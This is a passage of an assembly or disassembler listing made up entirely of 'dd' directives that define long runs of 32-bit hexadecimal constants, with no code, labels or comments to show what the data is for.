		dd 0DF0D1535h, 1AF6E882h, 0D74C48h, 55E59C88h, 0A594B600h
		dd 8E1C6AD3h, 51352CAh,	0F3F9EDCCh, 0CA2E0294h,	0EA36858Eh
		dd 99DA0257h, 0F6A65AFCh, 0E008F231h, 0E3D0E5DFh, 0F825AB33h
		dd 24BF053Fh, 93062335h, 87242925h, 0CA2D1870h,	4ACFAFDFh
		dd 0AFB00BDEh, 0CF784F9h, 2087674Fh, 97AB642Ch,	0EB894054h
		dd 4ABAB6C3h, 4CADE0DEh, 9641BC34h, 0FC82B24Ah,	6DAC6746h
		dd 398A0804h, 66C43815h, 65A8F1DDh, 90EC9729h, 77C2473Dh
		dd 2461D8F5h, 9A5FA474h, 88D13A93h, 1BF6A545h, 0CC980207h
		dd 0D92CDDA0h, 0A3C4D163h, 0CE8EB284h, 0AD8B4068h, 242489E7h
		dd 95EDCD92h, 0DFBCAA81h, 44F827A3h, 8710755Fh,	0A9081F08h
		dd 544D0417h, 40C5386h,	0F48A9AD7h, 3BEAC26Eh, 0B025DFEEh
		dd 3B4AE381h, 6C62DA0h,	0C1B49F50h, 1B5E6B61h, 3354A26Eh
		dd 0A0478FE8h, 4419B290h, 0F54632FAh, 0A73F4928h, 21A00D0Fh
		dd 9457575Ah, 0B83137D5h, 2432F8C6h, 0D135FBF3h, 64BD7C47h
		dd 3033815h, 0AD481A8Eh, 1CFA9C88h, 0DDCE7CC1h,	31EC8040h
		dd 45B1016Ah, 0F78F7EB6h, 9FB3CAE1h, 0C9C8A812h, 92DA39DFh
		dd 0D1722D59h, 0B8AE6F15h, 97E21E80h, 1A747C39h, 0ECFF3F73h
		dd 0F05527BFh, 4A6507C7h, 6DC29B94h, 0F6416D0Eh, 0F5A9DCCFh
		dd 0D54D4680h, 0AD5C9AC7h, 67EAB386h, 3E84D157h, 0A5DFA67Ch
		dd 4AB7A7B5h, 783AC151h, 0BDEE124Ah, 0FF86525Eh, 6E79265Ah
		dd 45A42090h, 8D1420C1h, 5AB2C1D6h, 0F5E77B9Ah,	0A8BA2D2Ch
		dd 0E7790F5Dh, 13D03D2Ch, 7A825A6Ch, 4A9C981Ah,	288AC5B2h
		dd 0C362124Bh, 1DE66789h, 5CD6927Ch, 0B401A286h, 0A66ACBEh
		dd 2E354FB3h, 8317B933h, 0C563BA6Ch, 0BCA016F8h, 5382C4BBh
		dd 0B0DA6807h, 6F47245Dh
		dd 0E1C20A64h, 1622BC9Fh, 4319F25Ah, 4AA04F24h,	6FE0511Fh
		dd 0CDE72F73h, 0B5AC4722h, 97056580h, 0EFCF0B4Bh, 0CF3CDF90h
		dd 0A5A5A53Eh, 0CCD209B1h, 84C0C82Fh, 0E8383FDFh, 0CF4AA4D0h
		dd 0C3A3CEC0h, 4B335F49h, 0D9B1A1BAh, 4A556A9Fh, 4A66035Ah
		dd 0EDA529B7h, 0ED6BED1Dh, 0DAE65CBFh, 971FE7F1h, 9919186Dh
		dd 9EBCA7F0h, 0A90A1019h, 0C5AB8C75h, 6962279Dh, 69DCDB91h
		dd 0B6C77951h, 8922AFFBh, 0E808703h, 75D56D6Eh,	82CB910Eh
		dd 94BEBBAh, 2D949F0Fh,	28264C9h, 0D9D85367h, 0F3BA03F6h
		dd 102CE3E4h, 9175C5D8h, 0BA59B64Bh, 0B8B04654h, 4BF9B4C8h
		dd 2CAACEE9h, 0AE670FF1h, 0F59915A4h, 95FBC236h, 2EE1CCCFh
		dd 45237D27h, 179A77E9h, 0B74BF479h, 0B15D3E60h, 0D8279A5Dh
		dd 3FAEBB3Ch, 2597BB7Fh, 0F1F58E6Eh, 99552066h,	75CF807Ch
		dd 0B1506D5Ch, 57AD9312h, 5BAB6D00h, 0F88FD384h, 0E0970FA8h
		dd 0C75A1752h, 0A69B616Ah, 4D4961A5h, 0F15DEAE1h, 28A9776Fh
		dd 6CC7DA74h, 5C01CFF0h, 2824CC49h, 23A7EBCEh, 6565DD1Bh
		dd 0DEE86DDBh, 9EFB8367h, 0A393C6B8h, 575EB804h, 0F0A258CDh
		dd 7C94979Ch, 0A9440CD7h, 5B0DC6FAh, 478611A1h,	4A38E8D6h
		dd 0C59C69AAh, 105A1D90h, 5B0515F4h, 0C5B2C231h, 0AAF0E473h
		dd 5911F6AFh, 699740C3h, 7BC63A7Eh, 0BE7398FFh,	0F2CA694Eh
		dd 8939D697h, 44660B14h, 0DE5C3D7Bh, 0A38FF307h, 150BEAA4h
		dd 0B775BBD9h, 34CE6DE8h, 0E57837B2h, 0DC1F4BCh, 1722807h
		dd 0F762DB72h, 22F0F5B3h, 634E7F0Bh, 70110898h,	0E8AD76F4h
		dd 0DCCC77D2h, 0A8750321h, 0AB8B2705h, 506D5EDh, 0BD6043CAh
		dd 1CCED63Fh, 0DFA83484h, 14BE4A30h, 781F5051h,	853CF811h
		dd 0C5DE7569h, 0E2BEA3CDh, 9CC218Eh, 6391D1A5h,	3003403Dh
		dd 0A40FBEBFh, 0A36E3451h, 47D21CEAh, 9E477FF5h, 0A1157868h
		dd 32536D05h, 0AAF495C6h, 4E7DA5D8h, 0C5864943h, 5BCCFBC7h
		dd 0AA3FFF15h, 0E76C1CE6h, 5EC5DADCh, 607AFD7Ah, 0B9A3A499h
		dd 0D92B8234h, 29D52771h, 0B44FE59Eh, 954C36Dh,	0FBBE5002h
		dd 33583735h, 0B1A7A4C4h, 56C08C5h, 559B4DB0h, 6BD33100h
		dd 434E8065h, 780E2A46h, 0EBD0BD8h, 0E3A45ED4h,	0AB34DCDCh
		dd 82D78055h, 2B4C4B91h, 0A3BB08BCh, 0C70165B2h, 4BC74495h
		dd 4B32BE68h, 0F3B58ABBh, 0C0328619h, 0E237CB83h, 65E19F42h
		dd 0E1AA3E33h, 0B4DCF853h, 0A913FCDEh, 0DB079900h, 0ECDE4D35h
		dd 97BD78E5h, 702284Eh,	0A77FD6F5h, 0BDD232AAh,	37096DE9h
		dd 362E84CAh, 0C6F6531Bh, 0C13FA97Bh, 87D635D1h, 48766B93h
		dd 79DBEAFBh, 54D4B02h,	0E983F9D8h, 0CE23D994h,	8C5EFEh
		dd 429990DDh, 0A2A21600h, 47BF9C1Eh, 0C280AD60h, 771BDC19h
		dd 0B4104C8Bh, 0A8509F6Ch, 970A7FC9h, 5C640992h, 54D928C0h
		dd 7909B5E5h, 62F16CD8h, 0A7FA0151h, 4D89212Ah,	96B102C7h
		dd 108C992Fh, 99D578A1h, 4C97D27Ch, 2410E00Ch, 4E213A70h
		dd 216F256Ch, 0F31366DAh, 470FDE55h, 5EAE2EBAh,	90626246h
		dd 3E6FC928h, 8A6130B6h, 779C3018h, 1BF4F9D7h, 0B7F34400h
		dd 4463C0D3h, 0BD7424B0h, 0C3E5952h, 3EC79C6Dh,	697F1DFAh
		dd 4C573A8Ah, 1A3E9E66h, 45897077h, 55B8A62Ah, 0A2F496ACh
		dd 7EFB78ECh, 0A180B7E4h, 27D81F81h, 0D79791E3h, 0EE221EBFh
		dd 27B29A08h, 0CED2590h, 0A1DEC100h, 0F7A02597h, 0DD1E8EFFh
		dd 9E9AD9E9h, 16B29E74h, 2A5045FFh, 0CE28C700h,	826626EBh
		dd 0C34DF1D3h, 3F9966B2h, 0BBE9780Ah, 3A8D830Ch, 93D6EA98h
		dd 0E99AC6BDh, 6DE6B7C7h, 1D98F974h, 2545766h, 4E431C10h
		dd 6442BF3Ch, 0A7E61E13h, 0C6795F5Fh, 0B933587Fh, 41235F9Eh
		dd 10275A3Bh, 2FF6C2D4h, 1A4D10C4h, 0FECB302Fh,	71A7005Ah
		dd 0F45A98DDh, 0F6DF7997h, 2BFE43C1h, 19256BEEh, 0AE99761h
		dd 5FB22B24h, 63E1FF07h, 20F97B8Ch, 51E614D0h, 47AC9433h
		dd 854E406Eh, 48FD259Dh, 561358B1h, 3F47EDD7h, 90F7A3C2h
		dd 4258DF73h, 0DDC4F99h, 6A252713h, 4EDEDC71h, 860DD356h
		dd 95DE68CCh, 3F430F36h, 762A772Eh, 0F4E27B2h, 3700F1CCh
		dd 2E210C4h, 8E4B02E8h,	0E41AE1D2h, 0F24E55A0h,	0D0019ECCh
		dd 0C01DD384h, 45231F21h, 0F553FFABh, 7E3106F6h, 0A655CC88h
		dd 44AD1ABCh, 147AADBEh, 0CCFF2D71h, 0A72D2D4Ah, 0B309598Dh
		dd 0F09114B2h, 6E1F260Ah, 0C9177265h, 3AF3C499h, 0C966F0E2h
		dd 0C54664FAh, 5B1CFAF7h, 0CD678503h, 523301AAh, 0DE53AC89h
		dd 5B6B1935h, 0B28BBED2h, 16E7F917h, 0ADAF1B3Dh, 0BE1D05CCh
		dd 7CC5D99Ch, 697D901Bh, 0FB7A1F43h, 7A98D133h,	867E8577h
		dd 10E604D2h, 0F7216072h, 0E818991Eh, 0CED0E1C4h, 2D571A40h
		dd 9CED189Dh, 48D4936Eh, 529D289Fh, 1A684CF7h, 7FB7E2F8h
		dd 270EAD6Bh, 0DC44DFA8h, 6628A0B0h, 88A6D599h,	0E11F1D25h
		dd 0FD5616EAh, 95D7C555h, 5715AE02h, 7667916Bh,	8008347Ah
		dd 0E690C7C1h, 93A19016h, 5358BD68h, 0E1F4F125h, 534DAE05h
		dd 89A6DC18h, 637492E1h, 25FAAC5Ch, 3191663h, 2AAEF2E9h
		dd 8FECE84h, 0C6C7FCBCh, 76B2D86Ch, 0CB72AAB3h,	0C2CD3EC0h
		dd 171CFD75h, 6DBBC2FDh, 0AED57221h, 0B73D10ACh, 74F36662h
		dd 0F9ABD1E2h, 15E5CB91h, 0C3ACDD47h, 2FB707F1h, 0AFDFFC31h
		dd 1638FB7h, 0A605AB47h, 19D7A4C6h, 755E6620h, 499176B9h
		dd 81A9D3D9h, 0D6242A5Dh, 518A33D9h, 0F0B4E962h, 0F85599C9h
		dd 513101Eh, 0AEF812FFh, 48555E81h, 919702FAh, 40DA5003h
		dd 95A216C4h, 50A1DF4Ah, 0EB01FEADh, 5F046B5Dh,	690B8F9h
		dd 0E62F9C96h, 23866B72h, 9F4A33AFh, 40DFF271h,	7C0A5346h
		dd 1E4C09D4h, 0E1A6F4Eh, 0DBCFA60Fh, 27388F60h,	1074228Dh
		dd 4CBFAE1Dh, 2B241077h, 10C7ED75h, 367D1529h, 0B5EC443Fh
		dd 97D80FE6h, 7B2D6AAEh, 8FCF22FCh, 58DC6822h, 25DAE644h
		dd 5E96A0A1h, 0BE239AE0h, 0BE5F4867h, 0FAF2B4C1h, 0E54FF819h
		dd 12B80E95h, 5A880BF6h, 2CB4FBBEh, 121AB005h, 75FF7F7Eh
		dd 66746682h, 56B258FDh, 0F4626460h, 67041230h,	0DF8AAB5Dh
		dd 5F1F336Fh, 0A27315B4h, 0D305747Ah, 0D80F7D69h, 0C3366543h
		dd 975DD8A7h, 93E0D8BFh, 814B143Ah, 31B6EFF3h, 0FFD833ADh
		dd 0DBB748CEh, 619FBFA4h, 0E48BA07Dh, 4130B395h, 9FD3E218h
		dd 67EBF073h, 0D530E384h, 978FE9D3h, 580CC070h,	63E66AB5h
		dd 0D176E200h, 0A1E3ECA3h, 0D83BF141h, 18DA418h, 0E1212A88h
		dd 9235578Eh, 0ABE417BCh, 0A9F836C6h, 0A6565ECDh, 1C062BEDh
		dd 365E213Ah, 9BAB3F20h, 0C2F1A03Bh, 1E84317Eh,	1EFC0D5Dh
		dd 0A8EC1170h, 137DE07Ch, 0F7088F6Ch, 0E5E76197h, 899138A4h
		dd 0A2A056CDh, 0DA42538Dh, 0C105E282h, 0E1F16711h, 622AC19Dh
		dd 718258D3h, 904D1269h, 64BDBEA5h, 1E5E443Dh, 0C4329DBCh
		dd 7959084Eh, 96DC9A7h,	4A91BEFBh, 0E74F9162h, 0A6381512h
		dd 353B6732h, 19DD60BDh, 152A9A8Fh, 1F53AC80h, 487440D1h
		dd 3497ED9Ah, 31D73AD7h, 0C1EC5AB2h, 983E382Ch,	0D9B75526h
		dd 2E323AFFh, 0BC8AC3F3h, 0D1DE2E07h, 636276D3h, 0B0F9529Dh
		dd 0B22E1ED3h, 9CD4D51Eh, 55B0EF3Fh, 95530FAAh,	502D13B9h
		dd 51FD0272h, 0FD786ADEh, 948E4E07h, 0CD88EF34h, 6E731CFCh
		dd 3C0A4614h, 672B7AECh, 9A710C5Ah, 3738D12Ah, 0E2AAB4B1h
		dd 0AAD3BC19h, 96977ED5h, 15AF59E6h, 710654B1h,	78527C24h
		dd 5EE94F3Fh, 8726FC4Fh
		dd 0D2309E3Ch, 0F4CB0BF2h, 500C890Ah, 601FED23h, 0DB649F4Ah
		dd 0D42D9CA5h, 67964139h, 4D132F6h, 32664ECBh, 3EFA00E0h
		dd 3CE9C563h, 6F571EB7h, 58E64FA0h, 1B5D79C8h, 0A6366B35h
		dd 0FF9C7500h, 8CF7F984h, 326B0BF4h, 5391B48Dh,	0D0EEF3B2h
		dd 256546B6h, 5F7177D5h, 0C32E3F53h, 85C0FDF2h,	4400A982h
		dd 0F6359661h, 4505C8DBh, 7947DEBFh, 494B17BCh,	0FE24D0C2h
		dd 0C8296C53h, 59961EFAh, 0D2D7228Dh, 2AC33932h, 9DCF2211h
		dd 43B1576Ah, 0E282A234h, 0A51D13E4h, 0DBD84D8h, 96971DABh
		dd 6D589D3Ch, 7A017AC8h, 1947F1F5h, 7F851D87h, 378DF7D5h
		dd 98626AB4h, 5161B890h, 78D58843h, 0F53F3941h,	0F26E4F45h
		dd 30746A63h, 0E78FB03Ch, 9777E0BEh, 29699CF0h,	0BC0778EDh
		dd 589DA8E8h, 0A8A9DAE8h, 0E2E9600Eh, 63CEACCEh, 6048107Dh
		dd 4BB33E32h, 5F1EE44Bh, 8ECF3F19h, 0B0E8CF66h,	0BE2718CDh
		dd 4067656Bh, 3B786B60h, 6651D3EEh, 252D99A0h, 609A4176h
		dd 185CF185h, 0A20ECBEEh, 52B8B6DEh, 0BF86B05Fh, 294EDE8Bh
		dd 0F1C90124h, 6BCFDF9Ch, 52539474h, 63FB8465h,	0CD49C9A8h
		dd 95D65888h, 7C5A990Bh, 2D5DD56Fh, 260838F4h, 0D1CA955Bh
		dd 0C7DB8F33h, 2A247D6Fh, 0F7085000h, 7C87CAF7h, 24150417h
		dd 682E7A5Ch, 0A4CDD258h, 0B9E90E9Dh, 9AC430ECh, 0F75AB1B2h
		dd 13BDCC33h, 1EB7D184h, 0D5A71413h, 65FE2566h,	6ACF044Bh
		dd 0CCA782Bh, 982A648Dh, 3A941B1Dh, 871ECDB8h, 6A15490Fh
		dd 85D56906h, 4C9A06B9h, 20B8D523h, 0A8A85440h,	483EDC58h
		dd 4EF04B6Dh, 0D15EE8B6h, 3F4F4211h, 9E0782CEh,	6173055Dh
		dd 0F958431h, 539E3CB7h, 1CA6F836h, 0EBF4E59Ah,	0EE4C759Bh
		dd 4CE00657h, 0DBEFBE50h, 0A26FCEFDh, 68FF195Fh, 8F9B052Dh
		dd 85AB87C7h, 0D277853Ah, 0A5D3354Fh, 5EBE10A3h, 0CFF1345Dh
		dd 21BA1B1Dh, 56CF0D73h, 4F4E9112h, 81AA20DCh, 5E64A1C2h
		dd 7BD8A62h, 76CAE49Bh,	76AC8D8Dh, 4D7B069Bh, 0EBBA3794h
		dd 2F1D7331h, 0D2521F8Eh, 57A15EA4h, 4A460DBAh,	1EE6680h
		dd 94AE6C49h, 0DD14CC63h, 0FE28105Dh, 712B8C01h, 34BBFE14h
		dd 48BB033Eh, 66A5AA56h, 9ADF2971h, 94598B58h, 0EC8164F3h
		dd 0E2897A42h, 35F8EA7Ch, 0D39EA653h, 9F3E91AFh, 0A4A6F611h
		dd 0EF969937h, 2611DF5Eh, 34203A59h, 0F62551B8h, 0E8D5F722h
		dd 0EB8BDD42h, 0FF2ACED6h, 4D155261h, 2A2C4657h, 3B69E8C7h
		dd 8ED1723Dh, 0AB9EB8A1h, 5CF0DB17h, 0C13A7642h, 791066FDh
		dd 3B08A9FAh, 0CB66639Eh, 73FE6499h, 0D5553066h, 0D906BB6Eh
		dd 0E849AB76h, 532CB40Fh, 6AD0829Bh, 0E591D330h, 7E36C698h
		dd 0ABD70C76h, 0F4129CFEh, 0F7C30A4Ch, 1E049F54h, 301BC017h
		dd 0EE8E93A9h, 105CC4C7h, 0A6BF2553h, 0FAEBC0D4h, 77BE2315h
		dd 0B35B6C81h, 0AB86735Eh, 6AC93727h, 0DB5B0B86h, 0A959A706h
		dd 9929B8BAh, 0CB2D122h, 7D1C1525h, 0DE415939h,	0B1F54652h
		dd 0D9419A9h, 4B946172h, 0CDB50A0Fh, 89AAAA5Fh,	410C1FEBh
		dd 44D18649h, 0FE8D6B26h, 2CE5E24Bh, 13CB0585h,	0A2FA604h
		dd 65491F0Bh, 7A4249BDh, 759A538Eh, 0BC972E0h, 104ED52h
		dd 0DFE1EBF5h, 15DE250Ah, 43613AEBh, 4968922Ch,	8B621282h
		dd 8FC553F4h, 0F66F9174h, 0AD660A34h, 379C28E2h, 2FFFF9DEh
		dd 6884CE07h, 61241138h, 5703D269h, 0E2F6F1CDh,	21D826C6h
		dd 13CC3FFAh, 95A26203h, 480BD9CFh, 0D0C26BF9h,	0E449B3E4h
		dd 0EFCEFE88h, 5A6DDF69h, 630AA700h, 0F88ABEB3h, 9446CB86h
		dd 922815C6h, 682DBCDh,	723A68C8h, 18C2CA83h, 0FE6554B5h
		dd 7CEC73BEh, 0B247C1F6h, 0A9E42561h, 284663AEh, 0FC9AC821h
		dd 0A34B3C0Fh, 3EDB1C66h, 4BCA9DBh, 3F0B4973h, 0BF9EC9ECh
		dd 377624C5h, 0A90F2D28h, 0FF2F476Ch, 4761B55Ah, 0A4628DD6h
		dd 24597A93h, 80C17B2Fh, 6C70D373h, 0EB5648B8h,	9C8D31ADh
		dd 0F48DE568h, 665B9613h, 73B57A3Eh, 14FA8A88h,	0CB8FDB6Ch
		dd 697B97Dh, 21162C4Ch,	0C02AE5C9h, 11362EA5h, 3B102F9Fh
		dd 73277C8Ch, 0E7241F7Fh, 0D73BFD39h, 88B896Dh,	0BAAC9CC0h
		dd 0F438B66h, 37B0E73Ah, 861BFB9h, 0CDEDAF49h, 9561B260h
		dd 0AB72210Fh, 414B692Ch, 0E4291523h, 0AFF46570h, 0EC1E6413h
		dd 0E6F68C40h, 5E9B2F22h, 9507BEC9h, 7156FFB0h,	3AEE22E8h
		dd 0F54B2234h, 16B044EEh, 3825796Ch, 867FC24h, 315F05CAh
		dd 8E398EDAh, 3C7D36B6h, 0BC50A9A0h, 265B341Eh,	0ED5A69BDh
		dd 76A24B0Ah, 0F62679F0h, 0D3A50E9Fh, 42BC3h, 4AF2B2D3h
		dd 7F10957Ch, 0B4568AFEh, 8DC6CCF3h, 0E00F1BEh,	266A268Fh
		dd 0B4F8399Eh, 9BC205CFh, 6C491BA3h, 0D7DD5FFEh, 8FB53D6Ah
		dd 0DC747291h, 66968BCh, 6D55D9E5h, 0A85BD8B4h,	0DE9516BDh
		dd 1D6E3CEBh, 7302C349h, 3EC6847h, 0CC398EB8h, 618B60EFh
		dd 0B0B001E0h, 75ABAB68h, 0B41B5572h, 2E215C4Bh, 4453F0F1h
		dd 2271EBBEh, 0BA204ED0h, 0C3A9D4B4h, 41C485EAh, 0F9EC5D99h
		dd 0FF6AA62Dh, 12A918B1h, 4E3E0D70h, 0D07B73D8h, 6A887B25h
		dd 7A412C5h, 0F0F6734h,	43704986h, 0C0A5DEAAh, 4BDDFDBh
		dd 0FA6AF7F2h, 6CF70599h, 0A2C180B7h, 5368D197h, 6AC9B48h
		dd 63BBF7D1h, 0E2FC5951h, 30A6B65Bh, 0FDA315B9h, 0EB572816h
		dd 4478B093h, 3BB5DE57h, 75499518h, 0E9D4789Ch,	8F40FDEh
		dd 41090F3Ch, 0E330D755h, 0EF3F13E8h, 47162EDFh, 0A123987Eh
		dd 0EB3F9E1Fh, 1E7164F7h, 0C609EB1Fh, 74C26211h, 0DF6044B1h
		dd 2F0175Ch, 199A7A9Fh,	0BAF812FDh, 0CB1D934Ah,	0AA0A836Fh
		dd 3D2C5C1Eh, 1B5C5D4Ch, 89E5540Dh, 0A0BB311Bh,	0F05D6103h
		dd 9627D90Fh, 0E666A1D9h, 3D3D899Eh, 0AD310F98h, 12E35F72h
		dd 0E30503A5h, 22E6816Eh, 0AA014CD6h, 0C042666Eh, 67299C39h
		dd 5CE58BBDh, 0C9C376A2h, 9C73340Bh, 0D4034B51h, 9DB1F278h
		dd 72206311h, 0C4540FAAh, 8633288Ah, 8E07105h, 482AFB12h
		dd 0C23E30ACh, 0E3FEEDCFh, 928B9AFDh, 0BC679299h, 75AC60BBh
		dd 0A8AA1EE7h, 605B44B1h, 80BB495Dh, 70090A15h,	0B4EB6278h
		dd 276BB217h, 7DF00AB0h, 0A6C9C2DCh, 0C0CF12B7h, 56344641h
		dd 3E0D48C7h, 5C8C47CDh, 548E0E04h, 8654F526h, 0D224FDE0h
		dd 3AF1B530h, 0C434D35Eh, 6FC136AEh, 3A66F2C2h,	7C4F5F25h
		dd 49F0949Fh, 1AEDDC2Bh, 2EF97153h, 0CCBE1D81h,	0FD4B988Ah
		dd 2BDBB0F0h, 7D5BC26h,	0C690549Eh, 0D601570Ch,	315B8A0Bh
		dd 1DA2F00Fh, 0FAB911Ah, 78F9506Eh, 28E4D8DAh, 469D2195h
		dd 2262FCC4h, 0B4E608D4h, 0EC70BC67h, 0CD027736h, 5FBF8396h
		dd 9CAC875Eh, 0DF164EE6h, 0FFC8D904h, 4238B648h, 0FBC9D6D1h
		dd 30AC34D2h, 0EFA80D08h, 1425972Eh, 43152047h,	0AE1CC557h
		dd 0EC074D99h, 33F2447Ch, 899ED7EAh, 12CE8950h,	7458AAA2h
		dd 0F6C08C52h, 5CCC9810h, 0C1BFF462h, 7DE6A006h, 0BA16C498h
		dd 1C97F0A2h, 0D35C9F83h, 1A189DF7h, 8E47C78Ah,	0EED39B4Fh
		dd 7D8A13C6h, 0C8000794h, 0EA411B33h, 8B04CB3Dh, 0B819F08h
		dd 0CAFEE5D3h, 0F0B53D70h, 0D82AFE29h, 3DE5BF08h, 6CA5796Bh
		dd 1E0844Ah, 0A0B9FC61h, 65CD2B39h, 33912EE2h, 0C1F606DDh
		dd 9487838Fh, 0E0B157C4h, 37FE69E0h, 0E1619458h, 919D54C4h
		dd 42522290h, 84FD93D2h, 6ED72A8Bh, 87E5C53h, 4F6400B7h
		dd 0FA4A0C23h, 0DA95C4Dh, 9F5A0BC9h, 6DBAFF2Eh,	0B26A6706h
		dd 9AD8D3E7h, 5510D588h
		dd 0CDBEACAh, 0FFC6F6B6h, 6F9BE480h, 0EED92DDAh, 5E70FB3Fh
		dd 92772F64h, 23342F55h, 7AC125DDh, 30789ABBh, 0CC3EB486h
		dd 0F961754Dh, 171F7FB1h, 0C84C97A0h, 90FE7A21h, 4390AB81h
		dd 404F801Bh, 0AD683BBFh, 0ADA8F1F1h, 1397DB0h,	0F8B4EA9Ah
		dd 9E0D6B9h, 0D89894FAh, 0E7DE2D25h, 0F52EF07Ah, 0C4418488h
		dd 4C15B9DCh, 0AC649EEBh, 0A9CA5AFCh, 7E270E6Ch, 0C0E9C39Bh
		dd 55855D15h, 0DF91BA32h, 93673968h, 6EA35Fh, 51303C2Ch
		dd 0C1A4C28Fh, 952280Bh, 160C45Dh, 80DB4FCCh, 0EA728078h
		dd 0C4BFAD8Ch, 8E7EA591h, 63901922h, 9794FEB0h,	3663FCF5h
		dd 0F7F66D49h, 5057C454h, 0A5207D16h, 8A1D635Ch, 7543E6ECh
		dd 2B73D36Bh, 0DC93A71Ch, 8E935CEDh, 0DE4E2A55h, 0A6B382CBh
		dd 7C6332A4h, 0D06ED183h, 54EB02Fh, 7121852Dh, 327CFA7h
		dd 242AAA2Dh, 43952259h, 64A2D983h, 0F81FE1B4h,	9BF00EEBh
		dd 5A42A01Bh, 0A6F17E9Bh, 30C2C33Ch, 8178828Dh,	0D351EE1Bh
		dd 8B782350h, 98893104h, 0C0AA2B8Bh, 8C9A7E9Ah,	925E7CA5h
		dd 492A54ADh, 3347B2D3h, 6952DA05h, 0EDFACC9Dh,	96046BB7h
		dd 3EF0E050h, 3260013Bh, 457C4810h, 66C73C6Dh, 21253034h
		dd 0DC752649h, 489DF5ADh, 41C12D3Ah, 0D72F1F82h, 2D313739h
		dd 0F99C67ABh, 0C68D08E8h, 0A755FD4Ch, 1BEF935Eh, 20BBBD1Ah
		dd 0DD3AE03Ah, 0B8A19C7Bh, 0B783C17Fh, 0D3C5215Fh, 3CD90DB1h
		dd 141ED77Dh, 997F4170h, 0E862D66Fh, 62DA2EB3h,	0B97512F4h
		dd 76339807h, 20B02D9Ah, 87A3D4DFh, 64C1E72Fh, 9FA04020h
		dd 0C07D6249h, 287203BCh, 9B80A7DAh, 0B4E829D2h, 0E6817C61h
		dd 1BBEF48Ah, 0A04D1A0Bh, 5AD9C39Dh, 0A0EE65A1h, 3B13C3C7h
		dd 0CC9947F7h, 1E115313h, 6CA51FB7h, 0A3F68DBh,	8AA5B521h
		dd 7CB3265h, 0D042008Eh, 0AE377664h, 0AFF9D8D4h, 0A6798956h
		dd 210298CBh, 0DDBA35DDh, 0D09E4705h, 0D02E88FFh, 0AE5EE6C5h
		dd 7A3348CBh, 148BF844h, 634528D7h, 0C4DB6989h,	0C4BB161Ch
		dd 89915690h, 87389C8Fh, 4C8568A5h, 0B4CF97E0h,	8A5A19F1h
		dd 79309744h, 0F1A866D8h, 0F5E7910Eh, 0D369D30Bh, 0B4963106h
		dd 0F38216BDh, 56C7E238h, 3628AFBAh, 415A0C1Eh,	0DFA1CB4Fh
		dd 2F473D70h, 390A7AEh,	2650C8A4h, 0D040791h, 0E889DD7Dh
		dd 0DAFD0EFBh, 0BB566568h, 2C6537Dh, 6D084909h,	3DCAF1B4h
		dd 0FE74843Ch, 0B602DA42h, 42C3827Ah, 72B49CD1h, 7C8CC27Ah
		dd 37B41311h, 11FF666Dh, 517F8985h, 30AEC470h, 0CF4D38E4h
		dd 3FA6D39Bh, 441E14F1h, 74AA3011h, 0EBC4A0A7h,	5D181B1Ah
		dd 0D22E6BC9h, 7EF9D6BCh, 0D05DA426h, 8F158E80h, 673BDCE7h
		dd 0C210B6B4h, 0A2AF0D67h, 0ADB4B1A5h, 0F6FBA46h, 74321D3Bh
		dd 71419A38h, 0A610EE62h, 6C51F31Ah, 757F42D0h,	0AD896B40h
		dd 0A80AB52Fh, 42A7E746h, 0A51A0870h, 944E93F2h, 179E007Ah
		dd 8F9CB123h, 2E1F44EBh, 0E522C854h, 0D0A644C5h, 8FB19CFh
		dd 12A476B9h, 0E9EEAC32h, 0F0545281h, 0D5E24800h, 0CBC9273Eh
		dd 5C59282Ah, 952DE43Ch, 0CE79A63Ah, 0AE743864h, 0ADF2E614h
		dd 9982267h, 211EFFC5h,	105D85FEh, 284ABB8Fh, 0E29938A4h
		dd 7D8582A4h, 0B7E78CE8h, 593424E9h, 56C41BB4h,	0AAEE83C4h
		dd 0E580E261h, 0DEFC3C04h, 0A0D81A02h, 91AFD290h, 0CE39F8F7h
		dd 85A54C46h, 0B56F9240h, 39A9CFF6h, 50A4D1CBh,	953E1DD5h
		dd 0C92A4121h, 1A5C3239h, 75EA4FD1h, 61B78CAFh,	45971785h
		dd 5659F47Dh, 80712D86h, 5FB42BECh, 652B8A19h, 0A3BEAB21h
		dd 0C42271E1h, 2612DAB3h, 33FD3425h, 6EB206F1h,	3809CBBAh
		dd 0F8365AAFh, 0A1CB1B0Eh, 13651612h, 0A2CE1113h, 9F5DE245h
		dd 9633E943h, 0FF612026h, 0A421C040h, 1A73B5F0h, 5796788Eh
		dd 76370983h, 5CC3E429h, 0D71B2880h, 3C41059h, 2005DC55h
		dd 0DB855B76h, 77889947h, 5AE3C5F9h, 7E187F61h,	0C9AB3E0Eh
		dd 41339C86h, 0FE9DD62Ch, 0AAA62F25h, 0A70A077Dh, 0F008F5A4h
		dd 10405EB2h, 0AB0FBCC2h, 19B55E64h, 618E053Fh,	0EDD4CEF2h
		dd 0B2B940FBh, 1B95D385h, 330B77FFh, 0EDC00969h, 36A32FE0h
		dd 6EF27F90h, 0ED68D03Fh, 0B9918A7h, 1AC9C985h,	86FE212Ch
		dd 88D29F9Eh, 902037E3h, 0F755E514h, 848598CBh,	43D4BAB0h
		dd 362EBB2Dh, 431813ABh, 5CF77589h, 8788E07Ch, 3A2BBEFCh
		dd 0F1D26A27h, 26048B3Dh, 767B0894h, 9F7063E7h,	8F8BD375h
		dd 0AD91F363h, 628BC620h, 354C69B7h, 0C96CB426h, 0B3C3EA0Dh
		dd 0DCA0F971h, 0E2A60385h, 2CC5D896h, 57B2F718h, 9466416Ch
		dd 0E5718F70h, 0FF09AF82h, 4BD222BCh, 0ED073FB8h, 5B427BA4h
		dd 0F396A6A8h, 5EBB7E46h, 0B70A05CFh, 0A0770E81h, 0B45299F7h
		dd 0E9BCA0Ch, 47F38D01h, 0D72F9372h, 0A52D202h,	60219856h
		dd 54067406h, 0EF1C0621h, 0D85BB9C7h, 8D8D482Ah, 0FF3208A1h
		dd 132250B0h, 22D5527Ah, 21866B2Fh, 20DE6DD5h, 6B4DF012h
		dd 0EDC85AC1h, 0D7263742h, 0E7A004A9h, 0D261803Eh, 3EB63572h
		dd 30FA56D3h, 0B99B5E09h, 5B30F25Dh, 71BC09Dh, 974B0140h
		dd 402D7EF1h, 126E2979h, 0BBBB0C48h, 69A8DA15h,	22880526h
		dd 0CEBFF2A4h, 0CC9F14D2h, 60443Eh, 0ADD46CE9h,	7112A6DEh
		dd 3E199F47h, 0ED270978h, 0B54B2D53h, 0EFFF1048h, 0E3039506h
		dd 8061335Fh, 485333ECh, 0E3144FB3h, 38885928h,	6951C8B1h
